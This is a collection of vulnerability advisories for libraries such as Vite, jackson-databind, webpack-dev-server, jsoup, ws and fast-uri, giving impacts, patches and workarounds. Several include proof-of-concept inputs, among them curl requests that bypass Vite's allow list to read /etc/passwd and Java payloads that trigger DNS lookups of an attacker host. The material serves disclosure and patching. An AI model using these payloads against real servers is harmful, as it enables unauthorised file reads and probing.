### Summary Expanding `{a},b}`-shaped input takes time quadratic in the number of literal `}` characters, blocking the event loop. Bash preserves a quirk where a brace group followed by a comma set still expands (`{a},b}`). The parser implements this by rewriting the string and restarting the scan. Each pass absorbs exactly one `}` and re-scans from the beginning, so `n` trailing braces cost `n` full passes. ### Reproduction ```js const build = n => '{a}' + '}'.repeat(n) + ',z}' for (const n of [8000, 16000, 32000, 64000, 128000]) { const t = Date.now() expand(build(n)) console.log(n, Date.now() - t + 'ms') } ``` | n | input | time | results | |---|---|---|---| | 8,000 | 8 KB | 110 ms | 2 | | 16,000 | 16 KB | 446 ms | 2 | | 32,000 | 32 KB | 1.7 s | 2 | | 64,000 | 64 KB | 6.9 s | 2 | | 128,000 | 128 KB | **27.7 s** | 2 | `ms/n^2` is flat at ~1.7 and each doubling of `n` costs exactly 4.0x - quadratic. 128 KB of input blocks the event loop for nearly half a minute to produce two results. ### Mechanism Instrumenting the rewrite branch confirms it runs exactly `n + 1` times, once per literal `}`, each re-scanning the whole string. There is a second multiplier. The rewrite replaces the group's closing `}` with the internal `escClose` sentinel, which is `'\0CLOSE' + Math.random() + '\0'` - about 25 characters. The working string therefore *grows* by ~25 characters on every pass: | n | input length | final string length | |---|---|---| | 1,000 | 1,006 | 26,006 | | 8,000 | 8,006 | 208,006 | So the input is inflated roughly 26x, and that factor multiplies both the quadratic constant and peak memory. This makes it partly a memory-pressure issue as well as a CPU one. ### Why `max` and `maxLength` do not help The cost is in parsing, before the result set exists. The payload yields 2 results regardless of size, so neither bound is ever reached. ### Impact An application passing an untrusted pattern to `expand()`, directly or through `minimatch` / `glob`, can have its event loop blocked for tens of seconds by a payload well under minimatch's 65,536-character cap. For a single-threaded Node server that is a full stall, not just a slow request. Degraded availability rather than a crash - the process recovers once the expansion completes. ### Affected versions Verified affected on 1.1.18, 2.1.4, 3.0.6 and 5.0.9, all within a few percent of each other (~460-490 ms at n=16,000). ### Patch The rewrite loop gets an iteration bound. Past the cap the remaining string is treated as non-expanding and returned literally, consistent with the existing `max` / `maxLength` caps, which truncate rather than throw. Note this bounds the number of passes, not the cost of each: worst-case work remains proportional to `cap x input length`. The cap is set low enough that the residual is bounded in practice, and far above what any realistic `{a},b}` input needs. ### Severity note Scored 5.3 Medium (`A:L`) for consistency with GHSA-3jxr-9vmj-r5cp, the other algorithmic-complexity advisory on this package (CWE-407), which uses the same vector. The stack-exhaustion advisories on this package score `A:H` because they crash the process outright; this one stalls it.
## Overview A vulnerability affects the baggage propagation implementation in `opentelemetry-api` and `opentelemetry-extension-trace-propagators`. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. ## Technical Details - `W3CBaggagePropagator` did not enforce any limit on the total size or entry count of the `baggage` header. The parser iterated character-by-character through the entire value regardless of length. - `JaegerPropagator` and `OtTracePropagator` had the same gap in their respective baggage extraction paths. - The W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries; none of these limits were enforced. ## Impact The practical availability impact for most deployments is limited. Every major Java HTTP server enforces its own header size limit (Tomcat, Jetty, Netty, Vert.x, and gRPC-Java all default to 8 KiB), constraining what an external attacker can deliver before the application is reached. The risk is higher when transport-layer limits are absent — e.g., a compromised internal service communicating over a non-HTTP or custom transport. ## Remediation Update to version 1.62.0 or later ([#8380](https://github.com/open-telemetry/opentelemetry-java/pull/8380)). The fix enforces limits consistent with the W3C Baggage specification at the propagator level: - Maximum total baggage size: 8,192 bytes across all `baggage` header values - Maximum number of entries: 64 Headers that would exceed either limit are dropped at the point the limit is reached; already-extracted valid entries are retained. ## Workarounds Ensure HTTP header size limits are configured at the server or gateway level. Most Java HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix. ## References - [W3C Baggage Specification §Limits](https://www.w3.org/TR/baggage/#limits)
### Summary CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`. ### Details File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java Sibling cases in the same switch: - Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup - Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS } `InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation. The parent fix's own added unit test asserts `address.isUnresolved()` with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property. Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -> createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch. ### PoC Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8. A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host: ObjectMapper m = new ObjectMapper(); // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class); // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class); Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example A standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java. Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{\"bindHost\":\"poc-reach.example\",\"port\":1}", Config.class); // -> resolver invoked on "poc-reach.example" ### Impact An attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket. Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation). Credit : Ta Duc Thien
### Summary A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader<FileSystemProvider>` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`. Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern. ### Description `NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`): ```java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } ``` The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java` - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`). ## Proof of Concept Two PoCs are provided. > PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction. **PoC 1 — sink reached (built-in `jar` provider).** `com/poc/Vuln04_PathProvider.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path; /** * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via * Path.of(uri) / ServiceLoader<FileSystemProvider>. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } ``` **PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).** A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. `com/poc/EvilFileSystemProvider.java`: ```java package com.poc; import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel; /** * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real * application's classpath. Its static initializer and getPath() record that they executed, * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) * inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; } @Override public String getScheme() { return "evilscheme"; } @Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); } // --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; } @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } } ``` Registration descriptor — `src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`: ``` com.poc.EvilFileSystemProvider ``` Driver — `com/poc/Vuln04b_PathProviderMount.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; /** * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to * (1) load the provider class (running its static initializer) and (2) invoke * provider.getPath(attackerUri) -- all inside readValue, with NO application code. */ public class Vuln04b_PathProviderMount { public static class Config { public java.nio.file.Path workdir; } public static void main(String[] args) throws Exception { System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN); ObjectMapper mapper = JsonMapper.builder().build(); // default config String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}"; System.out.println("Deserializing (default mapper): " + json); Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir); System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN); System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI); boolean ok = EvilFileSystemProvider.GET_PATH_URI != null && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled"); System.out.println(ok ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)" : "RESULT: NOT reproduced"); } } ``` ## Execution Steps The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath ```bash # 0. Locate the three published dependency jars. M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # 1. Compile the three sources. cd poc-project mkdir -p out javac -cp "$CP" -d out \ src/main/java/com/poc/EvilFileSystemProvider.java \ src/main/java/com/poc/Vuln04_PathProvider.java \ src/main/java/com/poc/Vuln04b_PathProviderMount.java # 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2). mkdir -p out/META-INF/services cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \ out/META-INF/services/java.nio.file.spi.FileSystemProvider # 3. Run both PoCs. java -cp "out:$CP" com.poc.Vuln04_PathProvider # PoC 1 java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount # PoC 2 ``` ## Reproduction Evidence Executed against jackson-databind 3.2.1 (OpenJDK 25). **PoC 1 :** ``` Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"} Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException` at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"]) RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue) ``` Notes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism. **PoC 2 :** ``` Provider static-init ran before deserialization? true Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"} >>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1 Resolved Path = /var/folders/.../T/evilprovider-marker Provider static-init ran: true Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1 RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven) ``` Purely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs. ## Impact Untrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the scheme-restriction gap. ## Recommended Fix 1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface. 2. **Skip the `ServiceLoader<FileSystemProvider>` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider. 3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.
### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```
### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details #### `.svg` Requests ending with `.svg` are loaded at this line. https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290 By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass. This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+. #### relative paths The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`). ### PoC ```bash npm create vite@latest cd vite-project/ npm install npm run dev ``` send request to read `etc/passwd` ```bash curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init' ``` ```bash curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw' ```
Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow an authenticated user with snapshot restore privileges to cause Excessive Allocation (CAPEC-130) of memory and a denial of service (DoS) via crafted HTTP request.
A flaw was found in Keycloak. An administrator with `manage-users` permission can bypass the "Only administrators can view" setting for unmanaged attributes, allowing them to modify these attributes. This improper access control can lead to unauthorized changes to user profiles, even when the system is configured to restrict such modifications.
A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code.
fast-uri is a dependency-free RFC 3986 URI parser for Node.js, used by Fastify and ajv. In versions before 2.4.7, from 3.0.0 through 3.1.7, and from 4.0.0 through 4.1.4, fast-uri folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase octet such as %41 decodes to a literal A that is never folded. For a scheme-relative reference such as //host there is no scheme, so the host canonicalization that would normally repair this does not run, and parse, normalize, and equal then disagree on the same host. An application that makes a case-sensitive host decision on fast-uri output, for example a host allowlist or denylist that compares the parsed host or uses equal, can be steered past the check with a percent-encoded uppercase octet, and because hostnames are case-insensitive in DNS and HTTP the evading spelling still reaches the host the check meant to gate. The issue is fixed in fast-uri 2.4.7, 3.1.8, and 4.1.5, and users should upgrade to one of those versions or later. As a workaround, compare hosts case-insensitively by lowercasing the parsed host before any allowlist or denylist decision.
### Impact `fast-uri` folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase unreserved octet such as `%41` decodes to a literal `A` that is never folded. For a scheme-relative reference (`//host`) there is no scheme, so the host canonicalization that repairs this on a scheme-bearing URL does not run. As a result `parse`, `normalize`, and `equal` disagree on the same host: `parse("//%41.com").host` returns `"A.com"` while `parse("//a.com").host` and `parse("//A.com").host` return `"a.com"`, and `equal("//%41.com", "//a.com")` is `false` even though `equal("//A.com", "//a.com")` is `true`. An application that makes a case-sensitive host decision on `fast-uri` output for a scheme-relative reference, for example a host allowlist or denylist that compares `parse(url).host` or uses `fast-uri.equal`, can be steered past the check with a percent-encoded uppercase octet. Because a hostname is case-insensitive in DNS and HTTP routing, the evading spelling reaches the same host the check meant to gate, so the effect is check evasion rather than reaching a different registrable host. ### Patches Upgrade to `fast-uri` 4.1.5, 3.1.8, or 2.4.7. ### Workarounds Compare hosts case-insensitively (lowercase the parsed host before any allowlist or denylist decision), or avoid making case-sensitive host decisions on scheme-relative input until upgrading.
webpack-dev-server versions 5.2.5 and earlier expose two internal developer endpoints, /webpack-dev-server/open-editor and /webpack-dev-server/invalidate, that perform state-changing actions on any GET request without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger these endpoints cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root, and repeated requests can spawn editor processes and force recompilations that degrade the developer's machine. Patches: upgrade to webpack-dev-server 5.2.6. Workarounds: none.
jsoup is a Java library for working with real-world HTML. From 1.14.3 until 1.23.1, jsoup's HTML parser could incorrectly handle a malformed tag name ending in a control character, causing the tag to acquire the parsing behavior of a different element. When a custom Safelist permits certain raw-text elements, this misparsing can cause content that should remain inert text to be emitted as active markup after serialization, potentially resulting in cross-site scripting. jsoup's built-in Safelists are not affected. This issue is fixed in version 1.23.1.
### Impact The internal `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints perform state-changing actions on any `GET` request, without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger them cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root (e.g. `~/.ssh/config`). The file's contents are not returned to the attacker. Repeated requests can also spawn editor processes and force recompilations, degrading the developer's machine. ### Patches Fixed in `webpack-dev-server` 5.2.6 by rejecting cross-site requests to the `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints (see [PR #5698](https://github.com/webpack/webpack-dev-server/pull/5698)). ### Workarounds None
When a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS. jsoup’s built-in Safelists are unaffected. ## Patches Upgrade to jsoup 1.23.1. ## Workarounds Until upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML. ## Additional security considerations This fix addresses malformed tag-name handling only. Permitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS.
### Impact The `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument. ### Proof of concept ```js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`, { skipUTF8Validation: true }); ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } ); wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); }); ``` ### Patches The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086). ### Credits Credit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR). ### Remarks Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice. ### Resources - https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736
nanoid (aka Nano ID) before 5.0.9 mishandles non-integer values. 3.3.8 is also a fixed version.
Improper permission check in ZooKeeper AdminServer lets authorized clients to run snapshot and restore command with insufficient permissions. This issue affects Apache ZooKeeper: from 3.9.0 before 3.9.4. Users are recommended to upgrade to version 3.9.4, which fixes the issue. The issue can be mitigated by disabling both commands (via admin.snapshot.enabled and admin.restore.enabled), disabling the whole AdminServer interface (via admin.enableServer), or ensuring that the root ACL does not provide open permissions. (Note that ZooKeeper ACLs are not recursive, so this does not impact operations on child nodes besides notifications from recursive watches.)
Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). Patches: Fixed in webpack-dev-server@5.2.5. Workarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.
Improper permission checks in the AdminServer allow an authenticated client with insufficient privileges to invoke the `snapshot` and `restore` commands. The intended requirement is authentication and authorization on the root path (`/`) with **ALL** permission for these operations; however, affected versions permit invocation without that level of authorization. The primary risk is disclosure of cluster state via snapshots to a lesser-privileged client. * **Affected:** `org.apache.zookeeper:zookeeper` 3.9.0 through 3.9.3. * **Fixed:** 3.9.4 (ZOOKEEPER-4964 “check permissions individually during admin server auth”). * **Mitigations:** * Disable both commands (`admin.snapshot.enabled`, `admin.restore.enabled`). * Disable AdminServer (`admin.enableServer`). * Ensure the root ACL is not open; note that ZooKeeper ACLs are not recursive. * Upgrade to 3.9.4.
When nanoid is called with a fractional value, there were a number of undesirable effects: 1. in browser and non-secure, the code infinite loops on while (size--) 2. in node, the value of poolOffset becomes fractional, causing calls to nanoid to return zeroes until the pool is next filled 3. if the first call in node is a fractional argument, the initial buffer allocation fails with an error Version 3.3.8 and 5.0.9 are fixed.
A vulnerability has been discovered in vue-template-compiler, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code. Vue 2 has reached End-of-Life. This vulnerability has been patched in Vue 3.
The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. In versions from 2.0.0 prior to 2.16.0 and from 3.0.0.Beta1 prior to 3.0.11, ThreadSafeCookieStore stored a cookie under the value of its Domain attribute without verifying that the responding host is allowed to set a cookie for that domain, leading to a cookie tossing / cookie injection issue. A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. Applications that use a single AsyncHttpClient instance - and thus the default, shared CookieStore - to reach both an attacker-influenced host and a trusted host are impacted. This issue has been fixed in versions 2.16.0 and 3.0.11.
In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.
In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.
### Impact A **cookie tossing / cookie injection** issue (CWE-1275). `ThreadSafeCookieStore` stored a cookie under the value of its `Domain` attribute without verifying that the responding host is allowed to set a cookie for that domain (RFC 6265 §5.3 step 6). A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. ### Who is Impacted Applications that use a single `AsyncHttpClient` instance - and thus the default, shared `CookieStore` - to reach **both** an attacker-influenced host and a trusted host. Typical exposure: crawlers, link-preview / webhook fetchers, SSRF-style "fetch this URL" features, multi-backend aggregators, or following redirects to an attacker-controlled host. The attacker can *write* a cookie the client presents to the victim host (session fixation, overwriting a session id / CSRF-token cookie); they cannot *read* the victim host's cookies. Applications that talk only to a fixed trusted backend, or that disable/scope the cookie store, are not exposed. ### Patches Fixed in 3.0.11 and 2.16.0 ### Workarounds - Disable the cookie store (setCookieStore(null)) when cookies are not needed; or - Use a separate AsyncHttpClient (separate cookie store) per trust domain so an attacker-influenced host and a 